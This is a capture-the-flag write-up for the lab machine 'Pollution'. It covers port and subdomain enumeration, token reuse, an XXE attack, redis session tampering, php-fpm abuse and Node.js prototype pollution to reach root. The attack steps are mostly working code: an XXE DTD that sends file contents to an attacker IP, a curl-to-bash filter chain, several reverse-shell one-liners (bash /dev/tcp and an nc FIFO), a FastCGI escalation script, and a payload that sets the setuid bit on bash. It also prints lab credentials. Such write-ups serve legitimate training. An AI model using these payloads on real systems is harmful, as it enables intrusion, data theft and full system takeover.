Pollution

Enumeration

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.10.11.192 -- -sV -sC -oA ./rust/{{ip}}

# Ports
Open 10.10.11.192:22
Open 10.10.11.192:80
Open 10.10.11.192:6379

# Services
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
6379/tcp open  redis   syn-ack ttl 63 Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

Checking the website will reveal the real hostname collect.htb We'll add it to /etc/hosts for further enumeration

Port 6379

Nothing interesting because we aren't authenticated

redis-cli -h collect.htb
collect.htb:6379> info
NOAUTH Authentication required.
(1.62s)

Subdomains

ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://collect.htb -H "Host: FUZZ.collect.htb" -o subs.json  -fw 11803 -mc all

forum                   [Status: 200, Size: 14101, Words: 910, Lines: 337, Duration: 184ms]
developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 54ms]

Dirsearch

Just collect.htb delivered some interesting results for example /api

collect.htb

dirsearch -u http://collect.htb/

[20:25:10] 302 -    0B  - /admin  ->  /home                                 
[20:25:28] 302 -    0B  - /api  ->  /home                                   
[20:25:30] 301 -  311B  - /assets  ->  http://collect.htb/assets/           
[20:25:30] 200 -    1KB - /assets/
[20:26:03] 302 -    0B  - /home  ->  /login                                 
[20:26:15] 200 -    5KB - /login                                            
[20:26:45] 200 -    5KB - /register                                         
[20:26:52] 403 -  276B  - /server-status/                                   

developers.collect.htb

Basic Auth Pop Up, we have no credentials at the moment

forum.collect.htb

Seems to be a a forum for members of collect.htb where they are able to ask questions and get help Collect-Forum

First let's register an account at Register

We are also able to get some infos about the environment when we study the threads posted.

• Victor(a Dev) has trouble accessing the pollution api. Attachment contains environment infos T-13

• Kubernetes? T-9

• John responsible for developers.collect.htb? T-2

API Token

Once we downloaded the attachment of http://forum.collect.htb/showthread.php?tid=13 we discovered it's a burp history file.

Lets decode it an view it in our browser

git clone https://github.com/mrts/burp-suite-http-proxy-history-converter.git
cd burp-suite-http-proxy-history-converter
pip install --requirement=requirements.txt
# Will create a proxy_history.xml.html file 
python convert-burp-suite-http-proxy-history-to-csv.py ../proxy_history.xml

Checking the formatted logs we will discover a request that can be used to gain admin access

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

Exploitation

API XXE

Register an account on collect.htb and capture the requests in burp Use the previously discovered token to elevate our privileges

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/login
Cookie: PHPSESSID=b8gl9c885k7c52t61afnen4nj8
Upgrade-Insecure-Requests: 1

token=ddac62a28254561001277727cb397baf

Open Collect - Admin in your browser, register a new API User and capture the request

POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 171
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=b8gl9c885k7c52t61afnen4nj8

manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>mrk1</username><password>mrk1</password></user></root>

After some try and error we are able to read files . Check bootstrap.php to receive the redis password!

xxe.dtd Do it for index.php to get an overview and than check bootstrap.php which is mentioned in index.php While poking around we also discovered /var/www/developers/.htpasswd

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.28/?file=%file;'>">
%eval;
%exfiltrate;

Burp Request

POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 249
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=b8gl9c885k7c52t61afnen4nj8
token: ddac62a28254561001277727cb397baf

manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.16.28/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>mrk1</username><password>mrk</password></user></root>

bootstrap.php

<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');

session_start();

require '../vendor/autoload.php';

htpasswd

# developers_group:r0cket
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

developers.collect.htb 1

We'll use the basic auth creds to get a view of developers.collect.htb but there's nothing except a new login panel

Redis

We are now also able to access redis

redis-cli -h collect.htb                                                                                                                        
collect.htb:6379> AUTH COLLECTR3D1SPASS
OK
collect.htb:6379> info
# Keyspace
db0:keys=2,expires=2,avg_ttl=1137183
collect.htb:6379> keys *
# Our new session on developers.collect.htb
1) "PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird"
# Our session on collect.htb
3) "PHPREDIS_SESSION:b8gl9c885k7c52t61afnen4nj8"
collect.htb:6379> get PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird
""
collect.htb:6379> get PHPREDIS_SESSION:b8gl9c885k7c52t61afnen4nj8
"username|s:4:\"mrk1\";role|s:5:\"admin\";"
# Let's try to bypass developers.collect.htb login page
# We'll use auth|s:1:\"a\";
collect.htb:6379> set PHPREDIS_SESSION:q18lv56iqpr197npjbakrboird "username|s:4:\"mrk1\";role|s:5:\"admin\";auth|s:1:\"a\";"

developers.collect.htb 2

We have successfully bypassed the login page and can now see the developers section.

The parameter ?page is vulnerable to remote code execution using filter chains. We will use this project Filter Chain Generator to get an reverse shell on the system :)

Prepare Filterchain

# Prepare Filterchain
python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 10.10.16.28/x|bash` ?>'

x

# The shellscript to be executed on the remote system
bash -i >& /dev/tcp/10.10.16.28/4000 0>&1

Shell

(remote) www-data@pollution:/dev/shm$ whoami
www-data

Shell

Once we got our shell we can enumerate further

php-fpm

Using netstat we can see a couple of open ports. Port 9000 catched my eye as this could be an fastcgi application.

netstat -tlpn

tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:6379                :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -  

ps aux | grep fpm

root         975  0.0  1.0 265400 40792 ?        Ss   Dec12   0:09 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
victor      1115  0.0  0.5 265840 20640 ?        S    Dec12   0:00 php-fpm: pool victor
victor      1116  0.0  0.4 265840 19400 ?        S    Dec12   0:00 php-fpm: pool victor

Privesc to Victor

We'll use this script to escalate our privileges to user "victor"

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.28 4001 >/tmp/f'); echo '-->';"
FILENAMES="/dev/shm/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

Privesc Root

Once we have a shell as victor we start to enumerate the box again.

Enumeration

Seems like we can access the pollution_api source code

cd ~
ls /
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  pollution_api  user.txt
cd pollution_api
ls
controllers  functions  index.js  log.sh  logs  models  node_modules  package-lock.json  package.json  routes

Check for any processes that are related to our api

ps aux | grep api
root        1347  0.0  1.9 1664540 76956 ?       Sl   Dec12   0:01 /usr/bin/node /root/pollution_api/index.js

/home/victor/pollution_api/controllers/Messages_send.js While parsing through the source code we can spot a possible prototype pollution vulnerability But checking the code will tell us that we need admin permissions on the api.

const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');

const messages_send = async(req,res)=>{
    const token = decodejwt(req.headers['x-access-token'])
    if(req.body.text){

        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };

        _.merge(message, req.body);

        exec('/home/victor/pollution_api/log.sh log_message');

        Message.create({
            text: JSON.stringify(message),
            user_sent: token.user
        });

        return res.json({Status: "Ok"});

    }

    return res.json({Status: "Error", Message: "Parameter text not found"});
}

module.exports = { messages_send };

Getting API Admin Role

Using our discovered mysql credentials we are going to elevate the permissions of our api user that we created earlier

mysql -u webapp_user -p

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| developers         |
| forum              |
| information_schema |
| mysql              |
| performance_schema |
| pollution_api      |
| webapp             |
+--------------------+

MariaDB [(none)]> use pollution_api;
Database changed

MariaDB [pollution_api]> show tables;
+-------------------------+
| Tables_in_pollution_api |
+-------------------------+
| messages                |
| users                   |
+-------------------------+

MariaDB [pollution_api]> select * from users
    -> ;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | mrk1     | xxxx     | user | 2022-12-13 03:10:01 | 2022-12-13 03:10:01 |
|  2 | mrk2     | xxxx     | user | 2022-12-13 03:10:09 | 2022-12-13 03:10:09 |
|  3 | test     | xxxx     | user | 2022-12-13 03:28:25 | 2022-12-13 03:28:25 |
+----+----------+----------+------+---------------------+---------------------+

MariaDB [pollution_api]> update users set role='admin' where id=1;
Query OK, 1 row affected (0.002 sec)
Rows matched: 1  Changed: 1  Warnings: 0

API Fun

API Token

Login using our creds to get our api token

curl -X POST http://localhost:3000/auth/login -H 'Content-Type: application/json' -d '{"username":"mrk1", "password":"xxxx"}'

{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibXJrMSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDkxMzMxMSwiZXhwIjoxNjcwOTE2OTExfQ.GYSuGRHHR9kGXFhLl8vXCIzuWvz0JK1PIkoOihFq2Eo"}}

API Documentation

curl -X GET http://localhost:3000/documentation -H 'Content-Type: application/json' -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibXJrMSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDkxMzMxMSwiZXhwIjoxNjcwOTE2OTExfQ.GYSuGRHHR9kGXFhLl8vXCIzuWvz0JK1PIkoOihFq2Eo'

{
  "Documentation": {
    "Routes": {
      "/admin/messages/send": {
        "Methods": "POST",
        "Params": {
          "text": "message text"
        }
      }
    }
  }
}

RCE

We will chmod +s /usr/bin/bash so that we can get to root by using /usr/bin/bash -p

curl -X POST http://localhost:3000/admin/messages/send -H 'Content-Type: application/json' -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibXJrMSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDkxMzMxMSwiZXhwIjoxNjcwOTE2OTExfQ.GYSuGRHHR9kGXFhLl8vXCIzuWvz0JK1PIkoOihFq2Eo' -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod +s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'

ls -al /usr/bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /usr/bin/bash

Root

We're now root and get the last flag in /root